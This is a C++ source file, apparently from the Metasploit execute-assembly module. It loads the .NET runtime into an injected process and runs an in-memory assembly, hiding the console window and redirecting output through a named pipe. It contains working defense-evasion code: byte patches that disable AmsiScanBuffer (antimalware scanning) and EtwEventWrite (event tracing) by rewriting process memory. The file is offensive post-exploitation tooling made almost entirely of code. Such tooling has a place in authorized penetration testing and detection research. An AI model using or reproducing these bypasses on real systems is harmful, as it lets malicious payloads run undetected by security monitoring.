Path: blob/master/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
19500 views
// Author: B4rtik (@b4rtik)1// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)2// License: BSD 3-Clause3// based on4// https://github.com/etormadiv/HostingCLR5// by Etor Madiv67#include "stdafx.h"8#include <stdio.h>9#include <windows.h>10#include <evntprov.h>11#include "HostingCLR.h"12#include "EtwTamper.h"1314// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime15#define ModuleLoad_V2 15216#define AssemblyDCStart_V1 15517#define MethodLoadVerbose_V1 14318#define MethodJittingStarted 14519#define ILStubGenerated 882021#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}2223// mov rax, <Hooked function address>24// jmp rax25unsigned char uHook[] = {260xC327};2829#ifdef _X3230unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };31#endif32#ifdef _X6433unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };34#endif3536struct Metadata37{38unsigned int pipenameLength;39unsigned int appdomainLength;40unsigned int clrVersionLength;41unsigned int argsSize;42unsigned int assemblySize;43unsigned char amsiBypass;44unsigned char etwBypass;45};46DWORD METADATA_SIZE = 22;4748int executeSharp(LPVOID lpPayload)49{50HRESULT hr;5152ICLRMetaHost* pMetaHost = NULL;53ICLRRuntimeInfo* pRuntimeInfo = NULL;54BOOL bLoadable;55ICorRuntimeHost* pRuntimeHost = NULL;56IUnknownPtr pAppDomainThunk = NULL;57_AppDomainPtr pCustomAppDomain = NULL;58IEnumUnknown* pEnumerator = NULL;59_AssemblyPtr pAssembly = NULL;60SAFEARRAYBOUND rgsabound[1];61_MethodInfoPtr pMethodInfo = NULL;62SAFEARRAY* pSafeArray = NULL;63VARIANT retVal;64VARIANT obj;65SAFEARRAY* psaStaticMethodArgs = NULL;66SAFEARRAY* psaEntryPointParameters = NULL;67VARIANT vtPsa;68HANDLE pipe = NULL;6970char* pipeName = NULL;71char* appdomainName = NULL;72char* clrVersion = NULL;73wchar_t* clrVersion_w = NULL;74BYTE* arg_s = NULL;75wchar_t* appdomainName_w = NULL;7677Metadata metadata;7879// Structure of lpPayload:80// - Packed metadata, including lengths of the following fields81// - Pipe name (ASCII)82// - Appdomain name (ASCII)83// - Clr Version Name (ASCII)84// - Param data85// - Assembly data8687memcpy(&metadata, lpPayload, METADATA_SIZE);8889BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;9091pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));92memcpy(pipeName, data_ptr, metadata.pipenameLength);93pipeName[metadata.pipenameLength] = 0; // Null-terminate94data_ptr += metadata.pipenameLength;9596appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));97memcpy(appdomainName, data_ptr, metadata.appdomainLength);98appdomainName[metadata.appdomainLength] = 0; // Null-terminate99data_ptr += metadata.appdomainLength;100101clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));102memcpy(clrVersion, data_ptr, metadata.clrVersionLength);103clrVersion[metadata.clrVersionLength] = 0; // Null-terminate104data_ptr += metadata.clrVersionLength;105106// Convert to wchar107clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];108size_t converted= 0;109mbstowcs_s(&converted, clrVersion_w, metadata.clrVersionLength + 1, clrVersion, metadata.clrVersionLength + 1);110111arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;112memcpy(arg_s, data_ptr, metadata.argsSize);113data_ptr += metadata.argsSize;114115////////////////// Hijack stdout116117// Create a pipe to send data118pipe = CreateNamedPipeA(119pipeName, // name of the pipe120PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only121PIPE_TYPE_BYTE, // send data as a message stream1221, // only allow 1 instance of this pipe1230, // no outbound buffer1240, // no inbound buffer1250, // use default wait time126NULL // use default security attributes127);128129if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {130//printf("[CLRHOST] Failed to create outbound pipe instance.\n");131hr = -1;132goto Cleanup;133}134135// This call blocks until a client process connects to the pipe136BOOL result = ConnectNamedPipe(pipe, NULL);137if (!result) {138//printf("[CLRHOST] Failed to make connection on named pipe.\n");139hr = -1;140goto Cleanup;141}142143SetStdHandle(STD_OUTPUT_HANDLE, pipe);144SetStdHandle(STD_ERROR_HANDLE, pipe);145146///////////////////// Done hijacking stdout147148rgsabound[0].cElements = metadata.assemblySize;149rgsabound[0].lLbound = 0;150pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);151152void* pvData = NULL;153hr = SafeArrayAccessData(pSafeArray, &pvData);154155if (FAILED(hr))156{157ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);158goto Cleanup;159}160161// Store assembly162memcpy(pvData, data_ptr, metadata.assemblySize);163164hr = SafeArrayUnaccessData(pSafeArray);165166if (FAILED(hr))167{168ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);169goto Cleanup;170}171172// Etw bypass173if (metadata.etwBypass)174{175int ptcResult = PatchEtw(pipe);176if (ptcResult == -1)177{178ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");179goto Cleanup;180}181}182HMODULE hMscoree = LoadLibrary("mscoree.dll");183FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");184if (clrCreateInstance == NULL)185{186ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");187goto Cleanup;188}189hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);190191if (FAILED(hr))192{193ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);194goto Cleanup;195}196197HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());198hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);199200if (FAILED(hr))201{202ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);203goto Cleanup;204}205206BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);207208if (!isloaded)209{210hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);211212if (FAILED(hr))213{214ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);215goto Cleanup;216}217218hr = pRuntimeInfo->IsLoadable(&bLoadable);219220if (FAILED(hr) || !bLoadable)221{222ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);223goto Cleanup;224}225}226227hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);228229if (FAILED(hr))230{231ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);232goto Cleanup;233}234235if (!isloaded)236{237hr = pRuntimeHost->Start();238}239240if (FAILED(hr))241{242ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);243goto Cleanup;244}245246// Convert to wchar247appdomainName_w = new wchar_t[metadata.appdomainLength+1];248mbstowcs_s(&converted, appdomainName_w, metadata.appdomainLength + 1, appdomainName, metadata.appdomainLength + 1);249250hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);251252if (FAILED(hr))253{254ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);255goto Cleanup;256}257258hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);259260if (FAILED(hr))261{262ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);263goto Cleanup;264}265266// Amsi bypass267if (metadata.amsiBypass)268{269int ptcResult = PatchAmsi(pipe);270if (ptcResult == -1)271{272ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");273goto Cleanup;274}275}276277hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);278279if (FAILED(hr))280{281ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);282goto Cleanup;283}284285hr = pAssembly->get_EntryPoint(&pMethodInfo);286287if (FAILED(hr))288{289ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);290goto Cleanup;291}292293// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])294pMethodInfo->GetParameters(&psaEntryPointParameters);295hr = SafeArrayLock(psaEntryPointParameters);296if (!SUCCEEDED(hr))297{298ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);299goto Cleanup;300}301long uBound, lBound;302SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);303SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);304long numArgs = uBound - lBound + 1;305hr = SafeArrayUnlock(psaEntryPointParameters);306if (!SUCCEEDED(hr))307{308ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);309goto Cleanup;310}311312ZeroMemory(&retVal, sizeof(VARIANT));313ZeroMemory(&obj, sizeof(VARIANT));314315obj.vt = VT_NULL;316vtPsa.vt = (VT_ARRAY | VT_BSTR);317318switch (numArgs)319{320case 0:321if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"322{323ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");324goto Cleanup;325}326// If no parameters set cElement to 0327psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);328break;329case 1:330{331// If we have at least 1 parameter set cElement to 1332psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);333334// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as335// it expects it to be a filename. This affects situations where the first argument contains backslashes,336// or if there are no arguments at all (it will just create one - the process's image name).337// To coerce it into performing the correct data transformation, we create a fake first parameter, and then338// ignore it in the output.339340LPWSTR* szArglist;341int nArgs;342wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));343wtext[0] = L'X'; // Fake process name344wtext[1] = L' '; // Separator345346347mbstowcs_s(&converted, wtext+2, metadata.argsSize, (char*)arg_s, metadata.argsSize);348szArglist = CommandLineToArgvW(wtext, &nArgs);349350free(wtext);351352vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name353354for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name355{356size_t strlength = wcslen(szArglist[i]) + 1;357OLECHAR* sOleText1 = new OLECHAR[strlength];358char* buffer = (char*)malloc(strlength * sizeof(char));359360wcstombs_s(&converted, buffer, strlength, szArglist[i], strlength);361362mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);363BSTR strParam1 = SysAllocString(sOleText1);364long actualPosition = i - 1;365SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);366free(buffer);367}368369LocalFree(szArglist);370371long iEventCdIdx(0);372hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);373break;374}375default:376ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);377goto Cleanup;378}379380//Assembly execution381hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);382if (FAILED(hr))383{384ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);385goto Cleanup;386}387388Cleanup:389390if (pipe != NULL) {391FlushFileBuffers(pipe);392DisconnectNamedPipe(pipe);393CloseHandle(pipe);394}395396if (pEnumerator) {397pEnumerator->Release();398}399if (pMetaHost) {400pMetaHost->Release();401}402if (pRuntimeInfo) {403pRuntimeInfo->Release();404}405406if (pRuntimeHost) {407if (pCustomAppDomain) {408pRuntimeHost->UnloadDomain(pCustomAppDomain);409}410pRuntimeHost->Release();411}412413if (psaStaticMethodArgs) {414SafeArrayDestroy(psaStaticMethodArgs);415}416if (pSafeArray) {417SafeArrayDestroy(pSafeArray);418}419420if (appdomainName) {421free(appdomainName);422}423424if (clrVersion) {425free(clrVersion);426}427if (clrVersion_w) {428delete[] clrVersion_w;429}430431if (arg_s) {432free(arg_s);433}434435if (appdomainName_w) {436delete[] appdomainName_w;437}438439return hr;440}441442VOID Execute(LPVOID lpPayload)443{444// Attach or create console445if (GetConsoleWindow() == NULL) {446AllocConsole();447HWND wnd = GetConsoleWindow();448if (wnd)449{450ShowWindow(wnd, SW_HIDE);451}452}453454HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);455HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);456457executeSharp(lpPayload);458SetStdHandle(STD_OUTPUT_HANDLE, stdOut);459SetStdHandle(STD_ERROR_HANDLE, stdErr);460461}462463INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {464HMODULE hNtdll = GetModuleHandleA("ntdll.dll");465ZwProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");466ZwWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");467468LPVOID lpBaseAddress = lpFuncAddress;469ULONG OldProtection, NewProtection;470SIZE_T uSize = patchsize;471NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);472if (status != STATUS_SUCCESS) {473return -1;474}475476status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);477if (status != STATUS_SUCCESS) {478return -1;479}480481status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);482if (status != STATUS_SUCCESS) {483return -1;484}485486return 0;487}488489BOOL PatchEtw(HANDLE pipe)490{491HMODULE lib = LoadLibraryA("ntdll.dll");492if (lib == NULL)493{494ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");495return -2;496}497LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");498if (lpFuncAddress == NULL)499{500ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");501return -2;502}503504return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));505}506507BOOL PatchAmsi(HANDLE pipe)508{509510HMODULE lib = LoadLibraryA("amsi.dll");511if (lib == NULL)512{513ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");514return -2;515}516517LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");518if (addr == NULL)519{520ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");521return -2;522}523524return InlinePatch(addr, amsipatch, sizeof(amsipatch));525}526527BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {528HRESULT hr;529ULONG fetched = 0;530DWORD vbSize = 260;531BOOL retval = FALSE;532wchar_t currentversion[260];533534while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)pRuntimeInfo, &fetched)) && fetched > 0)535{536hr = ((ICLRRuntimeInfo*)*pRuntimeInfo)->GetVersionString(currentversion, &vbSize);537if (!FAILED(hr))538{539if (wcscmp(currentversion, version) == 0)540{541retval = TRUE;542break;543}544}545((ICLRRuntimeInfo*)*pRuntimeInfo)->Release();546}547548return retval;549}550551